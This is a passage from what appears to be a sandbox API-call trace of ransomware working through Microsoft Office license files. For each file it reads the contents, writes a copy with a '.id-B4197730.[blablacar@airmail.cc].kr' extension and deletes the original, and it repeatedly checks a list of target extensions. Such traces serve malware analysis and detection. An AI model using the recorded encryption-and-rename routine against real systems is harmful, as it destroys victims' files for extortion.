(lpString="ProfessionalDemoR_BypassTrial180-ul-oob.xrm-ms") returned 46 [0213.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionaldemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0213.764] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11674) returned 1 [0213.764] CloseHandle (hObject=0x3bc) returned 1 [0213.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionaldemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0213.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionaldemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionaldemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0213.764] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0213.764] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0213.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionaldemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0213.765] GetLastError () returned 0x0 [0213.765] ReadFile (in: hFile=0x3bc, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d9a, lpOverlapped=0x0) returned 1 [0213.768] WriteFile (in: hFile=0x3c4, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2da0, lpOverlapped=0x0) returned 1 [0213.769] ReadFile (in: hFile=0x3bc, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0213.769] WriteFile (in: hFile=0x3c4, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x130, lpOverlapped=0x0) returned 1 [0213.769] SetEndOfFile (hFile=0x3c4) returned 1 [0213.769] CloseHandle (hObject=0x3c4) returned 1 [0213.769] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0213.769] SetEndOfFile (hFile=0x3bc) returned 1 [0213.773] CloseHandle (hObject=0x3bc) returned 1 [0213.773] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.773] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionaldemor_bypasstrial180-ul-oob.xrm-ms")) returned 1 [0213.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0213.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0213.774] lstrlenW (lpString=".doc") returned 4 [0213.774] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.774] lstrlenW (lpString=".docx") returned 5 [0213.775] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.775] lstrlenW (lpString=".pdf") returned 4 [0213.775] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.775] lstrlenW (lpString=".xls") returned 4 [0213.775] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.775] lstrlenW (lpString=".xlsx") returned 5 [0213.775] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.775] lstrlenW (lpString=".ppt") returned 4 [0213.775] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0213.775] lstrlenW (lpString=".zip") returned 4 [0213.775] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.775] lstrlenW (lpString=".rar") returned 4 [0213.775] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.775] lstrlenW (lpString=".bz2") returned 4 [0213.775] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.775] lstrlenW (lpString=".7z") returned 3 [0213.775] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0213.775] lstrlenW (lpString=".dbf") returned 4 [0213.775] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0213.775] lstrlenW (lpString=".1cd") returned 4 [0213.775] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0213.775] lstrlenW (lpString=".jpg") returned 4 [0213.775] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0213.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0213.775] lstrlenW (lpString=".doc") returned 4 [0213.775] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.775] lstrlenW (lpString=".docx") returned 5 [0213.776] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.776] lstrlenW (lpString=".pdf") returned 4 [0213.776] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.776] lstrlenW (lpString=".xls") returned 4 [0213.776] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.776] lstrlenW (lpString=".xlsx") returned 5 [0213.776] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.776] lstrlenW (lpString=".ppt") returned 4 [0213.776] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0213.776] lstrlenW (lpString=".zip") returned 4 [0213.776] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.776] lstrlenW (lpString=".rar") returned 4 [0213.776] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.776] lstrlenW (lpString=".bz2") returned 4 [0213.776] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.776] lstrlenW (lpString=".7z") returned 3 [0213.776] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0213.776] lstrlenW (lpString=".dbf") returned 4 [0213.776] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0213.776] lstrlenW (lpString=".1cd") returned 4 [0213.776] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0213.776] lstrlenW (lpString=".jpg") returned 4 [0213.776] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.776] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0213.777] lstrlenW (lpString="ProfessionalPipcR_Grace-ppd.xrm-ms") returned 34 [0213.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0213.777] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=22956) returned 1 [0213.778] CloseHandle (hObject=0x3bc) returned 1 [0213.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_grace-ppd.xrm-ms")) returned 0x220 [0213.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0213.778] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0213.778] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0213.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0213.779] GetLastError () returned 0x0 [0213.779] ReadFile (in: hFile=0x3bc, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x59ac, lpOverlapped=0x0) returned 1 [0213.782] WriteFile (in: hFile=0x3c4, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x59b0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x59b0, lpOverlapped=0x0) returned 1 [0213.783] ReadFile (in: hFile=0x3bc, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0213.783] WriteFile (in: hFile=0x3c4, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x118, lpOverlapped=0x0) returned 1 [0213.783] SetEndOfFile (hFile=0x3c4) returned 1 [0213.783] CloseHandle (hObject=0x3c4) returned 1 [0213.783] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0213.783] SetEndOfFile (hFile=0x3bc) returned 1 [0213.786] CloseHandle (hObject=0x3bc) returned 1 [0213.786] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.786] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_grace-ppd.xrm-ms")) returned 1 [0213.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ppd.xrm-ms") returned 84 [0213.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ppd.xrm-ms") returned 84 [0213.788] lstrlenW (lpString=".doc") returned 4 [0213.788] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.788] lstrlenW (lpString=".docx") returned 5 [0213.788] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.788] lstrlenW (lpString=".pdf") returned 4 [0213.788] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.788] lstrlenW (lpString=".xls") returned 4 [0213.788] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.788] lstrlenW (lpString=".xlsx") returned 5 [0213.788] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.788] lstrlenW (lpString=".ppt") returned 4 [0213.788] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ppd.xrm-ms") returned 84 [0213.788] lstrlenW (lpString=".zip") returned 4 [0213.788] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.788] lstrlenW (lpString=".rar") returned 4 [0213.788] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.788] lstrlenW (lpString=".bz2") returned 4 [0213.788] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.788] lstrlenW (lpString=".7z") returned 3 [0213.788] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ppd.xrm-ms") returned 84 [0213.788] lstrlenW (lpString=".dbf") returned 4 [0213.788] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ppd.xrm-ms") returned 84 [0213.788] lstrlenW (lpString=".1cd") returned 4 [0213.788] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ppd.xrm-ms") returned 84 [0213.789] lstrlenW (lpString=".jpg") returned 4 [0213.789] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ppd.xrm-ms") returned 84 [0213.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ppd.xrm-ms") returned 84 [0213.789] lstrlenW (lpString=".doc") returned 4 [0213.789] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.789] lstrlenW (lpString=".docx") returned 5 [0213.789] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.789] lstrlenW (lpString=".pdf") returned 4 [0213.789] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.789] lstrlenW (lpString=".xls") returned 4 [0213.789] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.789] lstrlenW (lpString=".xlsx") returned 5 [0213.789] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.789] lstrlenW (lpString=".ppt") returned 4 [0213.789] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ppd.xrm-ms") returned 84 [0213.789] lstrlenW (lpString=".zip") returned 4 [0213.789] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.789] lstrlenW (lpString=".rar") returned 4 [0213.789] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.789] lstrlenW (lpString=".bz2") returned 4 [0213.789] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.789] lstrlenW (lpString=".7z") returned 3 [0213.789] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ppd.xrm-ms") returned 84 [0213.789] lstrlenW (lpString=".dbf") returned 4 [0213.789] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ppd.xrm-ms") returned 84 [0213.789] lstrlenW (lpString=".1cd") returned 4 [0213.789] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ppd.xrm-ms") returned 84 [0213.790] lstrlenW (lpString=".jpg") returned 4 [0213.790] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.790] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0213.790] lstrlenW (lpString="ProfessionalPipcR_Grace-ul-oob.xrm-ms") returned 37 [0213.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0213.791] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11644) returned 1 [0213.791] CloseHandle (hObject=0x3bc) returned 1 [0213.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_grace-ul-oob.xrm-ms")) returned 0x220 [0213.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0213.791] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0213.792] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0213.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0213.793] GetLastError () returned 0x0 [0213.793] ReadFile (in: hFile=0x3bc, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d7c, lpOverlapped=0x0) returned 1 [0213.938] WriteFile (in: hFile=0x3c4, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d80, lpOverlapped=0x0) returned 1 [0213.940] ReadFile (in: hFile=0x3bc, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0213.940] WriteFile (in: hFile=0x3c4, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x11e, lpOverlapped=0x0) returned 1 [0213.940] SetEndOfFile (hFile=0x3c4) returned 1 [0213.940] CloseHandle (hObject=0x3c4) returned 1 [0213.940] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0213.940] SetEndOfFile (hFile=0x3bc) returned 1 [0213.959] CloseHandle (hObject=0x3bc) returned 1 [0213.960] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.960] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_grace-ul-oob.xrm-ms")) returned 1 [0213.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ul-oob.xrm-ms") returned 87 [0213.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ul-oob.xrm-ms") returned 87 [0213.961] lstrlenW (lpString=".doc") returned 4 [0213.961] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.961] lstrlenW (lpString=".docx") returned 5 [0213.961] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.961] lstrlenW (lpString=".pdf") returned 4 [0213.961] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.962] lstrlenW (lpString=".xls") returned 4 [0213.962] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.962] lstrlenW (lpString=".xlsx") returned 5 [0213.962] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.962] lstrlenW (lpString=".ppt") returned 4 [0213.962] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ul-oob.xrm-ms") returned 87 [0213.962] lstrlenW (lpString=".zip") returned 4 [0213.962] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.962] lstrlenW (lpString=".rar") returned 4 [0213.962] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.962] lstrlenW (lpString=".bz2") returned 4 [0213.962] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.962] lstrlenW (lpString=".7z") returned 3 [0213.962] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ul-oob.xrm-ms") returned 87 [0213.962] lstrlenW (lpString=".dbf") returned 4 [0213.962] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ul-oob.xrm-ms") returned 87 [0213.962] lstrlenW (lpString=".1cd") returned 4 [0213.962] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ul-oob.xrm-ms") returned 87 [0213.962] lstrlenW (lpString=".jpg") returned 4 [0213.962] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ul-oob.xrm-ms") returned 87 [0213.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ul-oob.xrm-ms") returned 87 [0213.962] lstrlenW (lpString=".doc") returned 4 [0213.962] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.962] lstrlenW (lpString=".docx") returned 5 [0213.962] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.962] lstrlenW (lpString=".pdf") returned 4 [0213.962] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.962] lstrlenW (lpString=".xls") returned 4 [0213.963] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.963] lstrlenW (lpString=".xlsx") returned 5 [0213.963] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.963] lstrlenW (lpString=".ppt") returned 4 [0213.963] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ul-oob.xrm-ms") returned 87 [0213.963] lstrlenW (lpString=".zip") returned 4 [0213.963] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.963] lstrlenW 